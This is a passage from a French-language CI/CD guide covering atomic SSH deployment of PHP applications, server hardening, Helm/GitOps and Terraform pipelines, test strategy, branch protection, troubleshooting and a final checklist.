- Politique de rétention : purger les images de branches et de review apps, conserver les releases.
- Miroir / proxy cache interne de Docker Hub pour éviter les limites de pull anonymes et les indisponibilités.
Bases Docker : voir Docker.
11. Déployer une application PHP par SSH
Pour un serveur classique (Apache/Nginx + PHP-FPM), le motif fiable est le déploiement par releases avec bascule de lien symbolique atomique : chaque version est copiée dans son propre répertoire, puis un lien current est basculé en une opération. Le rollback consiste à repointer le lien.
/var/www/app/
|-- releases/
| |-- 20261019-101500_3f2a9c1/
| `-- 20261018-170200_9b1e004/
|-- shared/ # persistant entre versions
| |-- .env
| |-- storage/
| `-- public/uploads/
`-- current -> releases/20261019-101500_3f2a9c1
#!/usr/bin/env bash
# deploy.sh - exécuté par la CI, artefact déjà construit dans ./build
set -euo pipefail
: "${DEPLOY_HOST:?}" "${DEPLOY_USER:?}" "${CI_COMMIT_SHORT_SHA:?}"
BASE=/var/www/app
REL="$(date +%Y%m%d-%H%M%S)_${CI_COMMIT_SHORT_SHA}"
SSH="ssh -o BatchMode=yes -o StrictHostKeyChecking=yes ${DEPLOY_USER}@${DEPLOY_HOST}"
# 1) Copie de la release (vendor/ déjà installé en CI avec --no-dev)
rsync -az --delete --exclude-from=.deployignore ./build/ \
"${DEPLOY_USER}@${DEPLOY_HOST}:${BASE}/releases/${REL}/"
# 2) Liens vers les données partagées, migrations, bascule atomique, rechargement
$SSH bash -s -- "$BASE" "$REL" <<'REMOTE'
set -euo pipefail
BASE="$1"; REL="$2"; R="$BASE/releases/$REL"
ln -sfn "$BASE/shared/.env" "$R/.env"
ln -sfn "$BASE/shared/storage" "$R/storage"
ln -sfn "$BASE/shared/public/uploads" "$R/public/uploads"
cd "$R" && php bin/migrate --no-interaction # migrations compatibles N-1 (expand/contract)
ln -s "$R" "$BASE/current.tmp" && mv -T "$BASE/current.tmp" "$BASE/current" # rename(2) atomique
sudo systemctl reload php8.3-fpm # vide l'OPcache (règle sudoers dédiée)
# Garder les 5 dernières releases
ls -1dt "$BASE"/releases/*/ | tail -n +6 | xargs -r rm -rf
REMOTE
# 3) Vérification post-déploiement
curl -fsS --retry 5 --retry-delay 3 "https://www.example.com/healthz" >/dev/null
current n'existe pas. Créer un lien temporaire puis le renommer (mv -T, appel système rename) est atomique. Côté PHP, l'OPcache et le cache realpath conservent les anciens chemins résolus : recharger PHP-FPM, ou faire pointer le serveur web sur le chemin réel ($realpath_root dans Nginx pour SCRIPT_FILENAME et DOCUMENT_ROOT).
11.1 Côté GitLab CI
deploy-prod-ssh:
stage: deploy
image: alpine:3.20
environment: { name: production, url: https://www.example.com }
resource_group: production
rules:
- if: $CI_COMMIT_TAG
when: manual
needs: [build-php] # job qui produit ./build en artefact
before_script:
- apk add --no-cache openssh-client rsync bash curl
- install -m 700 -d ~/.ssh
- cp "$SSH_KNOWN_HOSTS" ~/.ssh/known_hosts # variable de type File, protégée
- eval "$(ssh-agent -s)"
- ssh-add "$SSH_DEPLOY_KEY" # variable de type File, protégée, portée production
script:
- ./deploy.sh
11.2 Durcissement côté serveur
- Utilisateur
deploydédié, clé SSH propre à la CI et à l'environnement,known_hostsfourni (jamaisStrictHostKeyChecking=no). Voir SSH. - Dans
authorized_keys:from="198.51.100.0/24",no-agent-forwarding,no-port-forwarding,no-pty,no-X11-forwardingpour limiter l'origine et les usages de la clé. Mieux encore : certificats SSH à durée courte signés par une CA (Vault SSH) plutôt que des clés statiques. sudolimité à la seule commande nécessaire :deploy ALL=(root) NOPASSWD: /usr/bin/systemctl reload php8.3-fpm.- Le code déployé appartient à
deployet n'est pas modifiable par l'utilisateur PHP (www-data) : seulsshared/storageetshared/public/uploadssont en écriture, avec exécution PHP désactivée dans uploads. - Rien de sensible dans la racine web :
.git,.env,composer.json, fichiers*.mdet scripts de test exclus via.deployignore, et racine web pointée surcurrent/public. Vérifier en production aveccurl -I https://www.example.com/.env(attendu : 403/404).
12. Déployer sur Kubernetes et avec Terraform
12.1 Push (CI exécute Helm) vs pull (GitOps)
Push : helm upgrade depuis la CI | Pull : Argo CD / Flux | |
|---|---|---|
| Identifiants cluster | Dans la CI (à limiter par RBAC et OIDC) | Aucun : l'agent est dans le cluster |
| Dérive | Non détectée | Détectée et corrigée |
| Rollback | helm rollback ou re-run d'un ancien pipeline | git revert |
| Simplicité | Immédiate | Un dépôt de configuration et un outil de plus |
# Push : déploiement sûr avec Helm
helm upgrade --install app ./chart \
--namespace app-prod \
--values chart/values-prod.yaml \
--set image.digest="$IMAGE_DIGEST" \
--wait --timeout 10m \
--atomic # Helm 3 ; « --rollback-on-failure » avec Helm 4
kubectl -n app-prod rollout status deploy/app --timeout=5m
# Pull : la CI met seulement à jour le dépôt de configuration
git clone "https://oauth2:${DEPLOY_REPO_TOKEN}@git.example.com/platform/deploy.git"
cd deploy/apps/app/overlays/prod
kustomize edit set image "registry.example.com/app@${IMAGE_DIGEST}"
git commit -am "app: deploy ${CI_COMMIT_SHORT_SHA}" && git push
Pour le détail Kubernetes (RBAC du compte de déploiement, Gateway API, GitOps) voir Kubernetes.
12.2 Terraform : plan revu, apply du plan exact
# .gitlab-ci.yml (extrait)
.tf:
image:
name: hashicorp/terraform:<version-epinglee>
entrypoint: [""]
variables:
TF_IN_AUTOMATION: "true"
TF_INPUT: "false"
before_script:
- cd infra/prod
- terraform init -lockfile=readonly
tf-plan:
extends: .tf
stage: build
id_tokens:
AZURE_FEDERATED_TOKEN: # fédération OIDC vers Azure (ARM_USE_OIDC=true)
aud: api://AzureADTokenExchange
script:
- terraform fmt -check -recursive
- terraform validate
- terraform plan -out=tfplan -lock-timeout=5m
- terraform show -no-color tfplan > plan.txt
artifacts:
paths: [infra/prod/tfplan, infra/prod/plan.txt]
expire_in: 1 day
tf-apply:
extends: .tf
stage: deploy
needs: [tf-plan]
environment: { name: infra-prod }
resource_group: infra-prod
rules:
- if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
when: manual
script:
- terraform apply -lock-timeout=5m tfplan # applique EXACTEMENT le plan revu
tfplan et l'état Terraform peuvent contenir des valeurs sensibles en clair. Expiration courte des artefacts, accès restreint au projet, backend d'état chiffré avec verrouillage. Un plan est périmé dès que l'état change : si un autre apply est passé entre-temps, Terraform refuse le plan (« Saved plan is stale ») et il faut replanifier. Voir Terraform.
12.3 Ansible
Pour la configuration de serveurs, la CI lance ansible-playbook avec --check --diff sur les MR, puis en réel sur la branche principale, depuis un runner ayant l'accès réseau requis. Inventaire et variables chiffrées via Ansible Vault (mot de passe injecté en variable File protégée) ou récupérés depuis un coffre. Voir Ansible.
13. Tests, qualité et performance des pipelines
13.1 Pyramide de contrôles
| Niveau | Exemples PHP | Durée cible | Où |
|---|---|---|---|
| Hooks locaux | php-cs-fixer, gitleaks | secondes | pre-commit |
| Statique | PHPStan / Psalm, lint YAML, hadolint, actionlint | < 2 min | Chaque MR/PR |
| Unitaires | PHPUnit / Pest | < 5 min | Chaque MR/PR |
| Intégration | Base réelle en service, API externes simulées | < 10 min | Chaque MR/PR |
| Bout en bout | Playwright sur review app | 10-20 min | MR vers main, nuit |
| Smoke tests | curl sur /healthz, parcours critique | < 1 min | Après chaque déploiement |
13.2 Branches protégées et règles de fusion
- Branche principale protégée : pas de push direct, MR/PR obligatoire, pipeline réussi obligatoire, au moins une approbation, approbation du CODEOWNERS pour
.gitlab-ci.yml,.github/,infra/. - GitHub : rulesets avec « required status checks » nommés explicitement (un job renommé ou absent ne doit pas débloquer la fusion) ; merge queue pour tester le résultat de la fusion sur les dépôts très actifs (les workflows doivent alors écouter
merge_group). - GitLab : « Pipelines must succeed », merged results pipelines et merge trains (Premium).
- Tags de release protégés : seuls les mainteneurs créent
v*, puisque le tag déclenche la production.
13.3 Accélérer
- DAG (
needs) plutôt que stages séquentiels ; paralléliser les tests (parallel: 4sous GitLab avec répartition par fichiers, matrice sous GitHub). - Ne lancer que ce qui est concerné :
rules:changes(GitLab), filtrespaths(GitHub). Attention : un check requis filtré parpathsreste « en attente » et bloque la PR ; prévoir un job toujours présent qui agrège. - Images de CI pré-construites avec les outils (plutôt que
apt-get installà chaque job), stockées dans le registre interne. GIT_DEPTHfaible (GitLab) /fetch-depth: 1(GitHub), sauf pour les outils qui ont besoin de l'historique (versionnement sémantique, analyse de diff).- Mesurer : durée par job sur 30 jours, taux de tests instables (flaky) mis en quarantaine plutôt que relancés en boucle.
14. Dépannage
| Symptôme | Cause probable | Correction |
|---|---|---|
| GitLab : job bloqué « pending », aucun runner | Tags du job absents des runners, runner protégé et branche non protégée, runner en pause | Comparer tags du job et du runner ; vérifier « Run untagged jobs » et « Protected » |
| GitLab : job absent du pipeline | Aucune règle rules ne correspond, ou workflow:rules exclut la source | Éditeur de pipeline > « Validate » avec simulation ; vérifier $CI_PIPELINE_SOURCE |
| Deux pipelines par push (branche + MR) | Pas de workflow:rules anti-doublon | Modèle de la section 3 ($CI_OPEN_MERGE_REQUESTS) |
| Variable vide dans un job | Variable protégée sur branche non protégée, portée d'environnement différente | Vérifier la protection de la branche et la portée ; ne jamais « déprotéger » un secret de prod pour tester |
| Docker-in-Docker : « Cannot connect to the Docker daemon » | Runner non privilégié, DOCKER_TLS_CERTDIR / DOCKER_HOST incohérents, service pas encore prêt | Runner privileged = true dédié, volume /certs/client, alias de service docker |
| Cache jamais réutilisé | Clé différente à chaque job, runners différents sans cache distribué | Clé basée sur le lockfile, cache S3 partagé |
| GitHub : « Resource not accessible by integration » | permissions du GITHUB_TOKEN insuffisantes, ou PR issue d'un fork (token en lecture seule) | Ajouter la permission précise au job ; pour les forks, séparer en deux workflows |
| GitHub OIDC : « Not authorized to perform sts:AssumeRoleWithWebIdentity » / AADSTS700213 | Le sub du jeton ne correspond pas au sujet configuré (environnement vs branche, casse du nom) | Décoder le jeton dans un job de test et comparer le sub exact ; un job avec environment: a un sujet de type environnement |
| Secret disponible dans le workflow mais vide | Exécution déclenchée depuis un fork, ou par Dependabot (secrets Dependabot séparés) | Déclarer le secret dans « Dependabot secrets » ; ne pas exposer de secrets aux forks |
| Workflow non déclenché | Push fait avec GITHUB_TOKEN (pas de déclenchement récursif), filtre paths/branches, YAML invalide | Utiliser une GitHub App pour les pushes automatisés ; actionlint |
| Helm : « another operation (install/upgrade/rollback) is in progress » | Job précédent interrompu pendant un upgrade | helm history, puis helm rollback vers la dernière révision « deployed » ; resource_group/concurrency pour éviter la récidive |
| Terraform : « Error acquiring the state lock » | Exécution concurrente ou job tué | Vérifier qu'aucun job ne tourne, puis terraform force-unlock <ID> |
| SSH : « Host key verification failed » | known_hosts absent ou clé serveur changée | Fournir le known_hosts en variable ; si la clé a changé, vérifier hors bande avant de la mettre à jour |
| Déploiement PHP OK mais ancien code servi | OPcache / realpath cache sur l'ancien chemin du symlink | Recharger PHP-FPM, $realpath_root côté Nginx |
# GitLab : déboguer un job
# variables: { CI_DEBUG_TRACE: "true" } # ATTENTION : affiche toutes les variables, secrets compris
gitlab-runner --debug run # côté runner, en avant-plan
sudo journalctl -u gitlab-runner -f
# GitHub : relancer avec « Enable debug logging » (ACTIONS_STEP_DEBUG)
gh run list --workflow ci.yml --limit 5
gh run view <run-id> --log-failed
gh run rerun <run-id> --failed
gh workflow run deploy.yml -f environment=staging
# Tester un workflow localement (approximation, pas d'identique à 100 %)
act pull_request -j test
15. Checklist
| Domaine | Contrôle |
|---|---|
| Conception | Build unique promu entre environnements, déploiement par digest, migrations expand/contract, rollback documenté et testé |
| Déclenchement | Branches et tags de release protégés, MR/PR + pipeline vert + revue obligatoires, CODEOWNERS sur les fichiers de CI et d'infra |
| Secrets | OIDC vers cloud/Vault partout où c'est possible, secrets restants protégés + portée d'environnement, aucun secret dans les logs, détection de secrets active |
| Permissions | GITHUB_TOKEN en lecture par défaut, permissions par job, conditions OIDC restreintes au dépôt ET à l'environnement |
| Runners | Runners de prod protégés et dédiés, aucun runner privilégié partagé avec des projets non maîtrisés, versions à jour, VM éphémères pour code externe |
| Chaîne d'approvisionnement | Actions et includes épinglés (SHA / tag de version), Dependabot ou Renovate actifs, pas de pull_request_target avec checkout du code de PR, audit zizmor/actionlint |
| Analyses | SAST, SCA, scan d'image et d'IaC bloquants sur les sévérités critiques corrigeables, exceptions documentées et datées |
| Artefacts | SBOM généré, image signée (cosign) et signature vérifiée au déploiement, expiration des artefacts sensibles |
| Déploiement | resource_group/concurrency par environnement, approbation pour la prod, smoke test post-déploiement, bascule atomique (symlink, Helm --wait) |
| Exploitation | Durée et taux d'échec des pipelines suivis, tests instables en quarantaine, notifications d'échec de déploiement vers l'équipe d'astreinte |
| Serveurs cibles | Utilisateur de déploiement dédié, sudo minimal, racine web sans fichiers sensibles vérifiée par curl après chaque mise en production |